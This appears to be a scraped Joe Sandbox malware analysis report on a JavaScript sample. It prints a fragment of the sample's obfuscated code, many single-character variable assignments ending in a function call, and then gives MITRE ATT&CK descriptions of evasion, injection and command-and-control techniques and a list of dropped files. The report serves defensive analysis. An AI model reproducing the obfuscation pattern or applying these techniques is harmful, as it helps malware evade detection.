1188	hoblhahcm = "p";
1189	hoblhahcm = "R";
1190	hoblhahcm = "c";
1191	hoblhahcm = "d";
1192	hoblhahcm = "e";
1193	hoblhahcm = "L";
1194	hoblhahcm = "f";
1195	hoblhahcm = "e";
1196	hoblhahcm = "T";
1197	hoblhahcm = "a";
1198	hoblhahcm = "Q";
1199	hoblhahcm = "i";
1200	hoblhahcm = "o";
1201	hoblhahcm = "Y";
1202	hoblhahcm = "B";
1203	hoblhahcm = "h";
1204	hoblhahcm = "Y";
1205	hoblhahcm = "h";
1206	hoblhahcm = "s";
1207	hoblhahcm = "W";
1208	hoblhahcm = "l";
1209	hoblhahcm = "t";
1210	hoblhahcm = "a";
1211	hoblhahcm = "Z";
1212	hoblhahcm = "U";
1213	hoblhahcm = "Z";
1214	hoblhahcm = "H";
1215	hoblhahcm = "k";
1216	hoblhahcm = "o";
1217	hoblhahcm = "3";
1218	qeapaxpt = "W";
1219	qeapaxpt = "v";
1220	qeapaxpt = "m";
1221	qeapaxpt = "b";
1222	qeapaxpt = "z";
1223	qeapaxpt = "K";
1224	qeapaxpt = "V";
1225	qeapaxpt = "z";
1226	qeapaxpt = "g";
1227	qeapaxpt = "Y";
1228	qeapaxpt = "c";
1229	qeapaxpt = "T";
1230	qeapaxpt = "z";
1231	qeapaxpt = "t";
1232	qeapaxpt = "F";
1233	qeapaxpt = "q";
1234	qeapaxpt = "b";
1235	qeapaxpt = "Q";
1236	qeapaxpt = "K";
1237	qeapaxpt = "W";
1238	qeapaxpt = "d";
1239	qeapaxpt = "v";
1240	qeapaxpt = "f";
1241	qeapaxpt = "-";
1242	owungivvb = "H";
1243	owungivvb = "f";
1244	owungivvb = "B";
1245	owungivvb = "w";
1246	owungivvb = "d";
1247	owungivvb = "L";
1248	owungivvb = "c";
1249	owungivvb = "C";
1250	owungivvb = "E";
1251	owungivvb = "J";
1252	owungivvb = "y";
1253	owungivvb = "J";
1254	owungivvb = "I";
1255	owungivvb = "c";
1256	owungivvb = "A";
1257	owungivvb = "J";
1258	owungivvb = "P";
1259	owungivvb = "m";
1260	owungivvb = "K";
1261	owungivvb = "G";
1262	owungivvb = "V";
1263	owungivvb = "R";
1264	owungivvb = "z";
1265	owungivvb = "c";
1266	owungivvb = "M";
1267	owungivvb = "i";
1268	owungivvb = "u";
1269	duxasj = "d";
1270	duxasj = "A";
1271	duxasj = "q";
1272	duxasj = "z";
1273	duxasj = "v";
1274	duxasj = "i";
1275	duxasj = "g";
1276	duxasj = "o";
1277	duxasj = "k";
1278	duxasj = "f";
1279	duxasj = "H";
1280	duxasj = "f";
1281	duxasj = "g";
1282	duxasj = "G";
1283	duxasj = "H";
1284	duxasj = "Y";
1285	duxasj = "S";
1286	duxasj = "j";
1287	duxasj = "L";
1288	duxasj = "x";
1289	duxasj = "Y";
1290	duxasj = "v";
1291	duxasj = "G";
1292	duxasj = "T";
1293	duxasj = "R";
1294	duxasj = "k";
1295	duxasj = "r";
1296	duxasj = "e";
1297	duxasj = "r";
1298	duxasj = "t";
1299	duxasj = "J";
1300	duxasj = "q";
1301	duxasj = "d";
1302	duxasj = "K";
1303	duxasj = "N";
1304	duxasj = "O";
1305	duxasj = "F";
1306	duxasj = "l";
1307	mpohq = "C";
1308	mpohq = "Z";
1309	mpohq = "l";
1310	mpohq = "Z";
1311	mpohq = "b";
1312	mpohq = "c";
1313	mpohq = "v";
1314	mpohq = "B";
1315	mpohq = "M";
1316	mpohq = "k";
1317	mpohq = "N";
1318	mpohq = "D";
1319	mpohq = "w";
1320	mpohq = "i";
1321	mpohq = "J";
1322	mpohq = "P";
1323	mpohq = "U";
1324	mpohq = "G";
1325	mpohq = "d";
1326	mpohq = "c";
1327	mpohq = "N";
1328	mpohq = "v";
1329	emvnfs = "A";
1330	emvnfs = "H";
1331	emvnfs = "b";
1332	emvnfs = "k";
1333	emvnfs = "b";
1334	emvnfs = "A";
1335	emvnfs = "N";
1336	emvnfs = "L";
1337	emvnfs = "t";
1338	emvnfs = "O";
1339	emvnfs = "R";
1340	emvnfs = "L";
1341	emvnfs = "G";
1342	emvnfs = "H";
1343	emvnfs = "o";
1344	emvnfs = "H";
1345	emvnfs = "A";
1346	emvnfs = "q";
1347	emvnfs = "U";
1348	emvnfs = "v";
1349	emvnfs = "T";
1350	emvnfs = "b";
1351	emvnfs = "R";
1352	emvnfs = "K";
1353	emvnfs = "b";
1354	emvnfs = "M";
1355	emvnfs = "y";
1356	emvnfs = "V";
1357	emvnfs = "p";
1358	emvnfs = "L";
1359	emvnfs = "V";
1360	emvnfs = "q";
1361	emvnfs = "a";
1362	emvnfs = "Q";
1363	emvnfs = "r";
1364	emvnfs = "Q";
1365	emvnfs = "U";
1366	emvnfs = "y";
1367	emvnfs = "j";
1368	emvnfs = "P";
1369	emvnfs = "U";
1370	emvnfs = "L";
1371	fonecllgy = "N";
1372	fonecllgy = "a";
1373	fonecllgy = "m";
1374	fonecllgy = "p";
1375	fonecllgy = "x";
1376	fonecllgy = "w";
1377	fonecllgy = "k";
1378	fonecllgy = "G";
1379	fonecllgy = "R";
1380	fonecllgy = "N";
1381	fonecllgy = "d";
1382	fonecllgy = "E";
1383	fonecllgy = "V";
1384	fonecllgy = "k";
1385	fonecllgy = "k";
1386	fonecllgy = "X";
1387	fonecllgy = "V";
1388	fonecllgy = "U";
1389	fonecllgy = "a";
1390	fonecllgy = "c";
1391	fonecllgy = "I";
1392	fonecllgy = "x";
1393	fonecllgy = "E";
1394	fonecllgy = "U";
1395	fonecllgy = "x";
1396	bjyjwq = "U";
1397	bjyjwq = "u";
1398	bjyjwq = "j";
1399	bjyjwq = "P";
1400	bjyjwq = "J";
1401	bjyjwq = "q";
1402	bjyjwq = "z";
1403	bjyjwq = "K";
1404	bjyjwq = "i";
1405	bjyjwq = "U";
1406	bjyjwq = "O";
1407	bjyjwq = "p";
1408	bjyjwq = "U";
1409	bjyjwq = "V";
1410	bjyjwq = "i";
1411	bjyjwq = "r";
1412	bjyjwq = "l";
1413	bjyjwq = "p";
1414	bjyjwq = "Q";
1415	bjyjwq = "O";
1416	bjyjwq = "O";
1417	bjyjwq = "g";
1418	bjyjwq = "x";
1419	bjyjwq = "D";
1420	bjyjwq = "J";
1421	bjyjwq = "X";
1422	bjyjwq = "e";
1423	bjyjwq = "g";
1424	bjyjwq = "y";
1425	bjyjwq = "x";
1426	bjyjwq = "w";
1427	bjyjwq = "y";
1428	bjyjwq = "e";
1429	bjyjwq = "V";
1430	bjyjwq = "c";
1431	bjyjwq = "Z";
1432	bjyjwq = "M";
1433	bjyjwq = "t";
1434	bjyjwq = "R";
1435	srqzv = "V";
1436	srqzv = "z";
1437	srqzv = "T";
1438	srqzv = "i";
1439	srqzv = "c";
1440	srqzv = "F";
1441	srqzv = "c";
1442	srqzv = "E";
1443	srqzv = "t";
1444	srqzv = "S";
1445	srqzv = "f";
1446	srqzv = "m";
1447	srqzv = "s";
1448	srqzv = "C";
1449	srqzv = "e";
1450	srqzv = "h";
1451	srqzv = "V";
1452	srqzv = "1";
1453	owzmh = "E";
1454	owzmh = "t";
1455	owzmh = "P";
1456	owzmh = "Y";
1457	owzmh = "H";
1458	owzmh = "x";
1459	owzmh = "G";
1460	owzmh = "c";
1461	owzmh = "X";
1462	owzmh = "e";
1463	owzmh = "w";
1464	owzmh = "F";
1465	owzmh = "E";
1466	owzmh = "n";
1467	owzmh = "R";
1468	owzmh = "V";
1469	owzmh = "N";
1470	owzmh = "J";
1471	owzmh = "F";
1472	owzmh = "d";
1473	owzmh = "%";
1474	gjhrdjz ( );	gjhrdjz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1283220404157902514.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4fa5da2e-6ff7-41fd-a2f7-ebc27bb5c6eb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3680

Windows Analysis Report
1283220404157902514.js